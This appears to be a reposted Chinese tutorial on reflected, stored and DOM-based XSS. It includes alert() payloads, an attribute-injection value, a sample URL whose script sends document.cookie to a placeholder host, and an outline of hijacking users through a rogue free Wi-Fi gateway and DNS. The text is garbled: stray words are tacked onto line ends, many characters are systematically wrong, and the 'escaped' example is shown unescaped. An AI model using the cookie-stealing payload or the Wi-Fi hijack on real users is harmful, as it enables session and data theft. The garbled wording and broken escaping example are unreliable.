XSS(cross-site scripting跨域脚本攻击)攻击是最多见的Web攻击,其重点是“跨域”和“客户端执行”。有人将XSS攻击分为三种,分别是:javascript
Reflected XSS(基于反射的XSS攻击)html
Stored XSS(基于存储的XSS攻击)前端
DOM-based or local XSS(基于DOM或本地的XSS攻击)java
Reflected XSS数据库
基于反射的XSS攻击,主要依靠站点服务端返回脚本,在客户端触发执行从而发起Web攻击。后端
例子:跨域
作个假设,当亚马逊在搜索书籍,搜不到书的时候显示提交的名称。浏览器
在搜索框搜索内容,填入“<script>alert('handsome boy')</script>”, 点击搜索。安全
当前端页面没有对返回的数据进行过滤,直接显示在页面上, 这时就会alert那个字符串出来。服务器
进而能够构造获取用户cookies的地址,经过QQ群或者垃圾邮件,来让其余人点击这个地址:
http://www.amazon.cn/search?n...'http://xxx/get?cookie='+document.cookie</script>
PS:这个地址固然是没效的,只是举例子而已。
结论:
若是只是一、二、3步作成功,那也只是本身折腾本身而已,若是第4步能作成功,才是个像样的XSS攻击。
开发安全措施:
前端在显示服务端数据时候,不只是标签内容须要过滤、转义,就连属性值也均可能须要。
后端接收请求时,验证请求是否为攻击请求,攻击则屏蔽。
例如:
标签:
<span><script>alert('handsome boy')</script></span>
转义
<span><script>alert('handsome boy')</script></span>
属性:
若是一个input的value属性值是
琅琊榜" onclick="javascript:alert('handsome boy')
就可能出现
<input type="text" value="琅琊榜" onclick="javascript:alert('handsome boy')">
点击input致使攻击脚本被执行,解决方式能够对script或者双引号进行过滤。
Stored XSS
基于存储的XSS攻击,是经过发表带有恶意跨域脚本的帖子/文章,从而把恶意脚本存储在服务器,每一个访问该帖子/文章的人就会触发执行。
例子:
发一篇文章,里面包含了恶意脚本
今每天气不错啊!<script>alert('handsome boy')</script>
后端没有对文章进行过滤,直接保存文章内容到数据库。
当其余看这篇文章的时候,包含的恶意脚本就会执行。
PS:由于大部分文章是保存整个HTML内容的,前端显示时候也不作过滤,就很可能出现这种状况。
结论:
后端尽量对提交数据作过滤,在场景需求而不过滤的状况下,前端就须要作些处理了。
开发安全措施:
首要是服务端要进行过滤,由于前端的校验能够被绕过。
当服务端不校验时候,前端要以各类方式过滤里面可能的恶意脚本,例如script标签,将特殊字符转换成HTML编码。
DOM-based or local XSS
基于DOM或本地的XSS攻击。通常是提供一个免费的wifi,可是提供免费wifi的网关会往你访问的任何页面插入一段脚本或者是直接返回一个钓鱼页面,从而植入恶意脚本。这种直接存在于页面,无须通过服务器返回就是基于本地的XSS攻击。
例子1:
提供一个免费的wifi。
开启一个特殊的DNS服务,将全部域名都解析到咱们的电脑上,并把Wifi的DHCP-DNS设置为咱们的电脑IP。
以后连上wifi的用户打开任何网站,请求都将被咱们截取到。咱们根据http头中的host字段来转发到真正服务器上。
收到服务器返回的数据以后,咱们就能够实现网页脚本的注入,并返回给用户。
当注入的脚本被执行,用户的浏览器将依次预加载各大网站的经常使用脚本库。
这个其实就是wifi流量劫持,中间人能够看到用户的每个请求,能够在页面嵌入恶意代码,使用恶意代码获取用户的信息,能够返回钓鱼页面。
PS:本文转自 http://www.cnblogs.com/loveso...